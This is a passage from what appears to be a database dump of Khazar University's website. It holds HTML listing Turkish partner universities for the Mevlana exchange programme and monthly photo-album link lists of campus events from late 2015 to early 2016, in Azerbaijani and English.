href=\"mailto:mevlana@ksu.edu.tr\">mevlana@ksu.edu.tr</a></strong></td><td width=\"213\"><strong>24. Bozok Universiteti</strong>,&nbsp;<strong><em>Yozgat</em></strong><strong><em>.<br></em></strong><strong><a href=\"http://www.bozok.edu.tr/\" target=\"_blank\">Rəsmi Səhifə</a>&nbsp;&nbsp;</strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Bozok_Universiteti.pdf\">Mübadilə Planı</a><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@bozok.edu.tr\">mevlana@bozok.edu.tr</a></strong><br></td></tr><tr><td><strong>25.&nbsp;</strong><strong>Selcuk University,&nbsp;Konya.<br><strong><a href=\"http://www.selcuk.edu.tr/\">Rəsmi Səhifə</a>&nbsp;<br></strong><strong><a href=\"http://www.khazar.org/files/social/1/Sel%C3%A7uk%20Universiteti.PDF\">Mübadilə Planı</a></strong><br><strong>E-mail:&nbsp;</strong><strong><a href=\"mailto:mevlanadp@selcuk.edu.tr\"><strong>mevlanadp@selcuk.edu.tr</strong></a>&nbsp;</strong></strong>  <br></td><td><strong>26.&nbsp;</strong><strong>Çankırı Karatekin University<br><strong><strong><a href=\"https://www.karatekin.edu.tr/\">Rəsmi Səhifə</a></strong></strong><br><a href=\"http://www.khazar.org/files/letters/Cankiri_Karatekin_Universiteti.pdf\"><strong><strong></strong></strong></a><strong><strong><a href=\"http://www.khazar.org/files/letters/Cankiri_Karatekin_Universiteti.pdf\">Mübadilə Planı</a></strong></strong>&nbsp;<br><strong>Email:&nbsp;</strong><a href=\"mailto:mevlana@karatekin.edu.tr\">mevlana@karatekin.edu.tr</a>&nbsp;</strong>  </td><td><strong>27. Iğdır University<br><strong><strong><strong><a href=\"http://www.igdir.edu.tr/\">Rəsmi Səhifə</a></strong></strong><br>Mübadilə Planı&nbsp;<br><strong>Email:&nbsp;<a href=\"mailto:mevlana@igdir.edu.tr\">mevlana@igdir.edu.tr</a><br></strong></strong></strong>  </td></tr><tr><td><strong>28. Manisa Celal Bayar University&nbsp;<br><strong><strong><strong><a href=\"http://www.mcbu.edu.tr/\">Rəsmi Səhifə</a></strong></strong><br><a href=\"http://www.khazar.org/files/letters/Manisa_Celal_Bayar%20Universiteti.pdf\">Mübadilə Planı</a><br><strong>Email:&nbsp;<a href=\"mailto:mevlana@cbu.edu.tr\">mevlana@cbu.edu.tr</a><br></strong></strong></strong>  </td><td>&nbsp;</td><td>&nbsp;</td></tr></tbody></table>&nbsp;&nbsp;<div><div><p><strong>Tel&nbsp;:&nbsp; (+994 12) 421 79 16 (240)</strong></p><p><strong>Mevlana Proqram Koordinatoru</strong></p><p><strong>Günay Fərzəliyeva</strong></p><p><strong><strong>E-mail:&nbsp;</strong><a href=\"mailto:mevlana@khazar.org\">mevlana@khazar.org</a>&nbsp;</strong></p><p>Beynəlxalq Əlaqələr Ofisi</p><p>Xəzər Universiteti Neftçilər kampusu</p><p>Məhsəti küç. 41,&nbsp;Bakı, AZ1096, Azərbaycan&nbsp;</p></div></div>'),(2951,1751,'az','Mart','Mart','<p>30.03.2016 Ernst and Young şirkətinin təlimi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1187592331251170\" target=\"_blank\">FOTO</a>)<br></p><p>24-26.03.2016 Media Lənkəranda (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1185472418129828\" target=\"_blank\">FOTO</a>)18.03.2016 Xəzərdə Novruz şənliyi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1176022125741524\" target=\"_blank\">FOTO</a>)<br></p><p>18.03.2016 Polşa səfiri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1175874212422982\" target=\"_blank\">FOTO</a>)<br></p><p>17.03.2016 Hamlet müəllimlə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1175208205822916\" target=\"_blank\">FOTO</a>)<br></p><p>17.03.2016 Effektli ünsiyyət qurmaq bacarıqları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1175170229160047\" target=\"_blank\">FOTO</a>)<br></p><p>16.03.2016 ESFIDIP&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1174407212569682\" target=\"_blank\">FOTO</a>)<br></p><p>15.03.2016 Potensial direktorlar&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1173733292637074.1073742253.799143400096067&amp;type=3\">FOTO</a>)</p><p>15.03.2016 EMBER layihəsi (<a href=\"https://www.facebook.com/media/set/?set=a.1170942876249449.1073742251.799143400096067&amp;type=3\">FOTO</a>)</p><p>11.03.2016 Fələstin səfiri (<a href=\"https://www.facebook.com/media/set/?set=a.1170882779588792.1073742249.799143400096067&amp;type=3\">FOTO</a>)</p><p>11.03.2016 Potensial direktorlar dünya məktəbində (<a href=\"https://www.facebook.com/media/set/?set=a.1172821559394914.1073742252.799143400096067&amp;type=3\">FOTO</a>)&nbsp;<br></p><p>11.03.2016 Kaspi Təhsil Mərkəzinin təqdimatı (<a href=\"https://www.facebook.com/media/set/?set=a.1170877306256006.1073742247.799143400096067&amp;type=3\">FOTO</a>)</p><p>10.03.2016 Tələbə məclisi Prezident seçkiləri&nbsp; (<a href=\"https://www.facebook.com/media/set/?set=a.1170900449587025.1073742250.799143400096067&amp;type=3\">FOTO</a>)</p><p>10.03.2016 Potansial direktorlar&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1170839439593126.1073742246.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.03.2016 Psixologiya mərkəzi (<a href=\"https://www.facebook.com/media/set/?set=a.1169716423038761.1073742245.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.03.2016 Qafqaz və ADA Karyera mərkəzləri Xəzərdə (<a href=\"https://www.facebook.com/media/set/?set=a.1169708033039600.1073742244.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.03.2016 Mediada 8 mart&nbsp;<a href=\"https://www.facebook.com/media/set/?set=a.1169643439712726.1073742243.799143400096067&amp;type=3\">(FOTO)</a></p><p><a href=\"https://www.facebook.com/media/set/?set=a.1169643439712726.1073742243.799143400096067&amp;type=3\"></a><a href=\"https://www.facebook.com/media/set/?set=a.1169643439712726.1073742243.799143400096067&amp;type=3\"></a>07.03.2016 - 8 Mart (<a href=\"https://www.facebook.com/media/set/?set=a.1169621543048249.1073742242.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.03.2016 Asan Xidmət - Seminar (<a href=\"https://www.facebook.com/media/set/?set=a.1168248403185563.1073742240.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.03.2015 Türkiyənin tarixçi alimi İlber Ortaylı ilə görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1166178776725859.1073742239.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.03.2016&nbsp;CİSCO texnologiyaları üzrə Şəbəkə inzibatçılığı (<a href=\"https://www.facebook.com/media/set/?set=a.1166087696734967.1073742238.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p><p>04.03.2016 ABŞ səfiri Xəzərdə (<a href=\"https://www.facebook.com/media/set/?set=a.1166066143403789.1073742237.799143400096067&amp;type=3\">FOTO</a>)</p><p>03.03.2016&nbsp;Prezident seçkiləri - Debat mərhələsi&nbsp; (<a href=\"https://www.facebook.com/media/set/?set=a.1165457920131278.1073742235.799143400096067&amp;type=3\">FOTO</a>)</p><p>02.03.2016 Magistrlar və Doktorantlar üçün məşğələ (<a href=\"https://www.facebook.com/media/set/?set=a.1164915506852186.1073742234.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p><p>01.03.2016 Potensial direktorlar&nbsp; (<a href=\"https://www.facebook.com/media/set/?set=a.1164370143573389.1073742233.799143400096067&amp;type=3\">FOTO</a>)</p><p>01.03.2015&nbsp;Hamlet İsaxanlı ad günü &nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1164343463576057.1073742232.799143400096067&amp;type=3\">FOTO</a>)</p><p>01.03.2016 Magistr və doktarantlar üçün məşğələ (<a href=\"https://www.facebook.com/media/set/?set=a.1164311683579235.1073742231.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p>'),(2952,1751,'en','March','March','<p>30.03.2016 Ernst and Young şirkətinin təlimi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1187592331251170\" target=\"_blank\">FOTO</a>)<br></p><p>24-26.03.2016 Media Lənkəranda (<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1185472418129828\" target=\"_blank\">FOTO</a>)18.03.2016 Xəzərdə Novruz şənliyi&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1176022125741524\" target=\"_blank\">FOTO</a>)<br></p><p>18.03.2016 Polşa səfiri ilə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1175874212422982\" target=\"_blank\">FOTO</a>)<br></p><p>17.03.2016 Hamlet müəllimlə görüş&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1175208205822916\" target=\"_blank\">FOTO</a>)<br></p><p>17.03.2016 Effektli ünsiyyət qurmaq bacarıqları&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1175170229160047\" target=\"_blank\">FOTO</a>)<br></p><p>16.03.2016 ESFIDIP&nbsp;(<a href=\"https://www.facebook.com/mediakhazar/photos/?tab=album&amp;album_id=1174407212569682\" target=\"_blank\">FOTO</a>)<br></p><p>15.03.2016 Potensial direktorlar&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1173733292637074.1073742253.799143400096067&amp;type=3\">FOTO</a>)</p><p>15.03.2016 EMBER layihəsi (<a href=\"https://www.facebook.com/media/set/?set=a.1170942876249449.1073742251.799143400096067&amp;type=3\">FOTO</a>)</p><p>11.03.2016 Fələstin səfiri (<a href=\"https://www.facebook.com/media/set/?set=a.1170882779588792.1073742249.799143400096067&amp;type=3\">FOTO</a>)</p><p>11.03.2016 Potensial direktorlar dünya məktəbində (<a href=\"https://www.facebook.com/media/set/?set=a.1172821559394914.1073742252.799143400096067&amp;type=3\">FOTO</a>)&nbsp;<br></p><p>11.03.2016 Kaspi Təhsil Mərkəzinin təqdimatı (<a href=\"https://www.facebook.com/media/set/?set=a.1170877306256006.1073742247.799143400096067&amp;type=3\">FOTO</a>)</p><p>10.03.2016 Tələbə məclisi Prezident seçkiləri&nbsp; (<a href=\"https://www.facebook.com/media/set/?set=a.1170900449587025.1073742250.799143400096067&amp;type=3\">FOTO</a>)</p><p>10.03.2016 Potansial direktorlar&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1170839439593126.1073742246.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.03.2016 Psixologiya mərkəzi (<a href=\"https://www.facebook.com/media/set/?set=a.1169716423038761.1073742245.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.03.2016 Qafqaz və ADA Karyera mərkəzləri Xəzərdə (<a href=\"https://www.facebook.com/media/set/?set=a.1169708033039600.1073742244.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.03.2016 Mediada 8 mart&nbsp;<a href=\"https://www.facebook.com/media/set/?set=a.1169643439712726.1073742243.799143400096067&amp;type=3\">(FOTO)</a></p><p><a href=\"https://www.facebook.com/media/set/?set=a.1169643439712726.1073742243.799143400096067&amp;type=3\"></a><a href=\"https://www.facebook.com/media/set/?set=a.1169643439712726.1073742243.799143400096067&amp;type=3\"></a>07.03.2016 - 8 Mart (<a href=\"https://www.facebook.com/media/set/?set=a.1169621543048249.1073742242.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.03.2016 Asan Xidmət - Seminar (<a href=\"https://www.facebook.com/media/set/?set=a.1168248403185563.1073742240.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.03.2015 Türkiyənin tarixçi alimi İlber Ortaylı ilə görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1166178776725859.1073742239.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.03.2016&nbsp;CİSCO texnologiyaları üzrə Şəbəkə inzibatçılığı (<a href=\"https://www.facebook.com/media/set/?set=a.1166087696734967.1073742238.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p><p>04.03.2016 ABŞ səfiri Xəzərdə (<a href=\"https://www.facebook.com/media/set/?set=a.1166066143403789.1073742237.799143400096067&amp;type=3\">FOTO</a>)</p><p>03.03.2016&nbsp;Prezident seçkiləri - Debat mərhələsi&nbsp; (<a href=\"https://www.facebook.com/media/set/?set=a.1165457920131278.1073742235.799143400096067&amp;type=3\">FOTO</a>)</p><p>02.03.2016 Magistrlar və Doktorantlar üçün məşğələ (<a href=\"https://www.facebook.com/media/set/?set=a.1164915506852186.1073742234.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p><p>01.03.2016 Potensial direktorlar&nbsp; (<a href=\"https://www.facebook.com/media/set/?set=a.1164370143573389.1073742233.799143400096067&amp;type=3\">FOTO</a>)</p><p>01.03.2015&nbsp;Hamlet İsaxanlı ad günü &nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1164343463576057.1073742232.799143400096067&amp;type=3\">FOTO</a>)</p><p>01.03.2016 Magistr və doktarantlar üçün məşğələ (<a href=\"https://www.facebook.com/media/set/?set=a.1164311683579235.1073742231.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p>'),(2945,1748,'az','Dekabr','Dekabr','<p>29.12.2015 First Annual Robotics sertifikatların verilməsi (<a href=\"https://www.facebook.com/media/set/?set=a.1127286893948381.1073742165.799143400096067&amp;type=3\">FOTO</a>)</p><p>16.10.2015 Beynəlxalq Dəniz Ticarət Portuna ekskursiya (<a href=\"https://www.facebook.com/media/set/?set=a.1090413284302409.1073742039.799143400096067&amp;type=3\">FOTO</a>)</p><p>28.12.2015 Xəzər Psixoloji Xidmət mərkəzinin tədbiri (<a href=\"https://www.facebook.com/media/set/?set=a.1126777997332604.1073742164.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>28.12.2015 Telebe meclisinn hesabat konfransi (<a href=\"https://www.facebook.com/media/set/?set=a.1126771860666551.1073742163.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>26.12.2015 Universitet məzunları ilə görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1126675297342874.1073742162.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>26.12.2015 potensial direktorlar 3 (<a href=\"https://www.facebook.com/media/set/?set=a.1126669697343434.1073742161.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>24.12.2015 Spagetti körpü yarışı (<a href=\"https://www.facebook.com/media/set/?set=a.1123858760957861.1073742160.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>24.12.2015 potensial direktorlar 3 &nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1123837667626637.1073742159.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>24.12.2015 3 saylı uşaq evində yeni il təbriki (<a href=\"https://www.facebook.com/media/set/?set=a.1123831674293903.1073742158.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>23.12.2015 ARDNS - Təqaüd proqramı (<a href=\"https://www.facebook.com/media/set/?set=a.1123242247686179.1073742157.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><div style=\"background:undefined \">30.12.2015: Holiday Celebration at Khazar - (<a href=\"https://www.facebook.com/media/set/?set=a.1131280613549009.1073742166.799143400096067&amp;type=3\">Photos</a>)</div><p><a title=\"Holiday Celebration at Khazar\" href=\"http://www.khazar.org/news/2015/Holiday-Celebration-at-Khazar_7464.html\"></a>26.12.2015&nbsp;Potentional directors 3&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1126669697343434.1073742161.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>24.12.2015 2nd National Spaghetti Bridge Competition Held (<a href=\"https://www.facebook.com/media/set/?set=a.1123858760957861.1073742160.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>24.12.2015&nbsp;Potentional directors 3&nbsp;&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1123837667626637.1073742159.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>23.12.2015 SOCAR Meeting with Students(<a href=\"https://www.facebook.com/media/set/?set=a.1123242247686179.1073742157.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>22.12.2015 Presentation on Formula 1 European Grand Prix Competition&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1123174931026244.1073742155.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>22.12.2015 Round-table discussion on the Legal Status of the Caspian Sea and simulation of the Final Meeting of the Working Group for development of the Convention(<a href=\"https://www.facebook.com/media/set/?set=a.1122655324411538.1073742153.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>19.12.2015 Masterclass on Sociological Investigation for Youth&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1122113564465714.1073742149.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>22.12.2015 Formula 1 Xəzərdə (<a href=\"https://www.facebook.com/media/set/?set=a.1123174931026244.1073742155.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>22.12.2015 Xəzərin hüquqi statusu ilə bağlı simulyasiya (<a href=\"https://www.facebook.com/media/set/?set=a.1122655324411538.1073742153.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>21.12.2015 - Pəri Qazıbəyova Sərgi (<a href=\"https://www.facebook.com/media/set/?set=a.1122145707795833.1073742152.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>21.12.2015 Bilik yarışı (<a href=\"https://www.facebook.com/media/set/?set=a.1122124357797968.1073742151.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>19.12.2015 Gənclər üçün sosioloji araşdırmalar üzrə master klas (<a href=\"https://www.facebook.com/media/set/?set=a.1122113564465714.1073742149.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>19.12.2015 Avropa İnsan Hüquqları Konvensiyasının təhlili (<a href=\"https://www.facebook.com/media/set/?set=a.1122109661132771.1073742148.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>19.12.2015 Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1122073011136436.1073742147.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.12.2015 Robobotların ilk müsabiqəsi (<a href=\"https://www.facebook.com/media/set/?set=a.1122055187804885.1073742146.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.12.2015 Laura Fabian ilə görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1120462537964150.1073742145.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>17.12.2015 Potensial direktorlar 3-cü lahiyə (<a href=\"https://www.facebook.com/media/set/?set=a.1119951314681939.1073742142.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>17.12.2015 Türkoloq alim Əkbər Nəcəfə görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1119950401348697.1073742141.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>17.12.2015 Erasmus (<a href=\"https://www.facebook.com/media/set/?set=a.1119868758023528.1073742140.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>15.12.2015 Əlilliyi olan şəxslərin inteqrasiyası (<a href=\"https://www.facebook.com/media/set/?set=a.1118812348129169.1073742139.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>12.12.2015 Nobel günü (<a href=\"https://www.facebook.com/media/set/?set=a.1118294254847645.1073742138.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)11.12.2015 Tempus PACT (<a href=\"https://www.facebook.com/media/set/?set=a.1116582698352134.1073742137.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>10.12.2015 Finlandiya səfiri Xəzərdə&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1116044311739306.1073742135.799143400096067&amp;type=3\" target=\"_blank\">FOTO)</a></p><p><a href=\"https://www.facebook.com/media/set/?set=a.1116044311739306.1073742135.799143400096067&amp;type=3\" target=\"_blank\"></a><a href=\"https://www.facebook.com/media/set/?set=a.1116044311739306.1073742135.799143400096067&amp;type=3\" target=\"_blank\"></a>10.12.2015 İKT-də ixtisas seçimi və Microsoft sertifikatları (<a href=\"https://www.facebook.com/media/set/?set=a.1115999835077087.1073742134.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.12.2015 Layih İdarə etmə Məktəbinin buraxılış mərasimi (<a href=\"https://www.facebook.com/media/set/?set=a.1115995228410881.1073742133.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.12.2015 H. İsaxanlı Bilqameş dastanı haqqında (<a href=\"https://www.facebook.com/media/set/?set=a.1115588331784904.1073742132.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.12.2015 Əl çatan təhsil, əl çatan gələcək (<a href=\"https://www.facebook.com/media/set/?set=a.1113599041983833.1073742131.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.12.2015 Karaoke party (<a href=\"https://www.facebook.com/media/set/?set=a.1113139442029793.1073742130.799143400096067&amp;type=3\">FOTO</a>)</p><p>03.12.2015 Robotic workshop (<a href=\"https://www.facebook.com/media/set/?set=a.1113026172041120.1073742129.799143400096067&amp;type=3\">FOTO</a>)</p><p>03.12.2015 Beynəlxalq Əlillər günü (<a href=\"https://www.facebook.com/media/set/?set=a.1113023172041420.1073742128.799143400096067&amp;type=3\">FOTO</a>)</p><p>02.12.2015 \"Digital Solitions for Startup and Entrepreneurs\" (<a href=\"https://www.facebook.com/media/set/?set=a.1112132495463821.1073742127.799143400096067&amp;type=3\">FOTO</a>)</p><p>02.12.2015 BP məlumat günü.\" Nəyi kəşf edəcəksiniz\" (<a href=\"https://www.facebook.com/media/set/?set=a.1112131568797247.1073742126.799143400096067&amp;type=3\">FOTO</a>)</p><p>01.12.2015 StrikePlagiarism şirkətinin əməkdaşı Xəzərdə (<a href=\"https://www.facebook.com/media/set/?set=a.1111620542181683.1073742125.799143400096067&amp;type=3\">FOTO</a>)</p><p>01.12.2015 Ankara siyasət mərkəzinin nümayəndəsi Burcu Gultekin (<a href=\"https://www.facebook.com/media/set/?set=a.1111592702184467.1073742124.799143400096067&amp;type=3\">FOTO</a>)</p>'),(2946,1748,'en','December','December','<div>30.12.2015: Holiday Celebration at Khazar - (<a href=\"https://www.facebook.com/media/set/?set=a.1131280613549009.1073742166.799143400096067&amp;type=3\">Photos</a>)</div><p><a title=\"Holiday Celebration at Khazar\" href=\"http://www.khazar.org/news/2015/Holiday-Celebration-at-Khazar_7464.html\"></a>26.12.2015&nbsp;Potentional directors 3&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1126669697343434.1073742161.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>24.12.2015 2nd National Spaghetti Bridge Competition Held (<a href=\"https://www.facebook.com/media/set/?set=a.1123858760957861.1073742160.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>24.12.2015&nbsp;Potentional directors 3&nbsp;&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1123837667626637.1073742159.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>23.12.2015 SOCAR Meeting with Students(<a href=\"https://www.facebook.com/media/set/?set=a.1123242247686179.1073742157.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>22.12.2015 Presentation on Formula 1 European Grand Prix Competition&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1123174931026244.1073742155.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>22.12.2015 Round-table discussion on the Legal Status of the Caspian Sea and simulation of the Final Meeting of the Working Group for development of the Convention(<a href=\"https://www.facebook.com/media/set/?set=a.1122655324411538.1073742153.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>19.12.2015 Masterclass on Sociological Investigation for Youth&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1122113564465714.1073742149.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.12.2015 First Robotics Competition at Khazar University(<a href=\"https://www.facebook.com/media/set/?set=a.1122055187804885.1073742146.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>18.12.2015 Meeting with University of Pennsylvania’s Lara Fabian(<a href=\"https://www.facebook.com/media/set/?set=a.1120462537964150.1073742145.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>17.12.2015 Meeting with Turkologist Akbar Najaf at Department of History and Archeology&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1119950401348697.1073742141.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>17.12.2015 Erasmus (<a href=\"https://www.facebook.com/media/set/?set=a.1119868758023528.1073742140.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>15.12.2015 European Commission Education, Audiovisual and Culture Executive Agency (EACEA) holds Monitoring at Khazar University&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1118812348129169.1073742139.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>12.12.2015 Meeting with Film Director Nazim Rza Israfiloghlu(<a href=\"https://www.facebook.com/media/set/?set=a.1118294254847645.1073742138.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>11.12.2015 Tempus PACT (<a href=\"https://www.facebook.com/media/set/?set=a.1116582698352134.1073742137.799143400096067&amp;type=3\" target=\"_blank\">FOTO</a>)</p><p>10.12.2015 Finnish Ambassador Visits Khazar University&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1116044311739306.1073742135.799143400096067&amp;type=3\" target=\"_blank\">FOTO)</a></p><p><a href=\"https://www.facebook.com/media/set/?set=a.1116044311739306.1073742135.799143400096067&amp;type=3\" target=\"_blank\"></a>10.12.2015 Microsoft certificates of qualification and selection of ICT (<a href=\"https://www.facebook.com/media/set/?set=a.1115999835077087.1073742134.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.12.2015 The graduation ceremony of the School of Project Management (<a href=\"https://www.facebook.com/media/set/?set=a.1115995228410881.1073742133.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.12.2015 H.Isaxanli about the story Bilqames (<a href=\"https://www.facebook.com/media/set/?set=a.1115588331784904.1073742132.799143400096067&amp;type=3\">FOTO</a>)04.12.2015 Accessible education, accessible to future (<a href=\"https://www.facebook.com/media/set/?set=a.1113599041983833.1073742131.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.12.2015 Karaoke party (<a href=\"https://www.facebook.com/media/set/?set=a.1113139442029793.1073742130.799143400096067&amp;type=3\">FOTO</a>)</p><p>03.12.2015 Robotic workshop (<a href=\"https://www.facebook.com/media/set/?set=a.1113026172041120.1073742129.799143400096067&amp;type=3\">FOTO</a>)</p><p>03.12.2015 International Day of Disabled Persons (<a href=\"https://www.facebook.com/media/set/?set=a.1113023172041420.1073742128.799143400096067&amp;type=3\">FOTO</a>)</p><p>02.12.2015 \"Digital Solitions for Startup and Entrepreneurs\" (<a href=\"https://www.facebook.com/media/set/?set=a.1112132495463821.1073742127.799143400096067&amp;type=3\">FOTO</a>)</p><p>02.12.2015&nbsp;Information&nbsp;on&nbsp;BP.&nbsp;\"What&nbsp;you will&nbsp;discover\"&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1112131568797247.1073742126.799143400096067&amp;type=3\">FOTO</a>)</p><p>01.12.2015 Employee of the company StrikePlagiarism in Khazar&nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1111620542181683.1073742125.799143400096067&amp;type=3\">FOTO</a>)</p><p>01.12.2015 Burcu Gultekin Ankara representative of the political center (<a href=\"https://www.facebook.com/media/set/?set=a.1111592702184467.1073742124.799143400096067&amp;type=3\">FOTO</a>)</p>'),(2949,1750,'az','Fevral','Fevral','<p>29.02.2016 Psixologiya mərkəzinin açılışı (<a href=\"https://www.facebook.com/media/set/?set=a.1163750220302048.1073742229.799143400096067&amp;type=3\">FOTO</a>)</p><p>29.02.2016 Omer Sadullahin Xəzərdə açıq dərsi (<a href=\"https://www.facebook.com/media/set/?set=a.1163749930302077.1073742227.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p><p>27.02.2016 Oil Bowl (<a href=\"https://www.facebook.com/media/set/?set=a.1163690286974708.1073742226.799143400096067&amp;type=3\">FOTO</a>)</p><p>26.02.2016 Xocalı (<a href=\"https://www.facebook.com/media/set/?set=a.1161946697149067.1073742225.799143400096067&amp;type=3\">FOTO</a>)</p><p>26.02.2016 Effective interview workshop (<a href=\"https://www.facebook.com/media/set/?set=a.1161858050491265.1073742224.799143400096067&amp;type=3\">FOTO</a>)</p><p>25.02.2015 Potensial Direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1161323123878091.1073742223.799143400096067&amp;type=3\">FOTO</a>)</p><p>25.02.2016 Lara Fabian tarixçilərlə görüşü (<a href=\"https://www.facebook.com/media/set/?set=a.1161284190548651.1073742221.799143400096067&amp;type=3\">FOTO</a>)</p><p>24.02.2016 Jourmal club seminar (<a href=\"https://www.facebook.com/media/set/?set=a.1161213383889065.1073742220.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.02.2016 Potensial direktorlar (<a 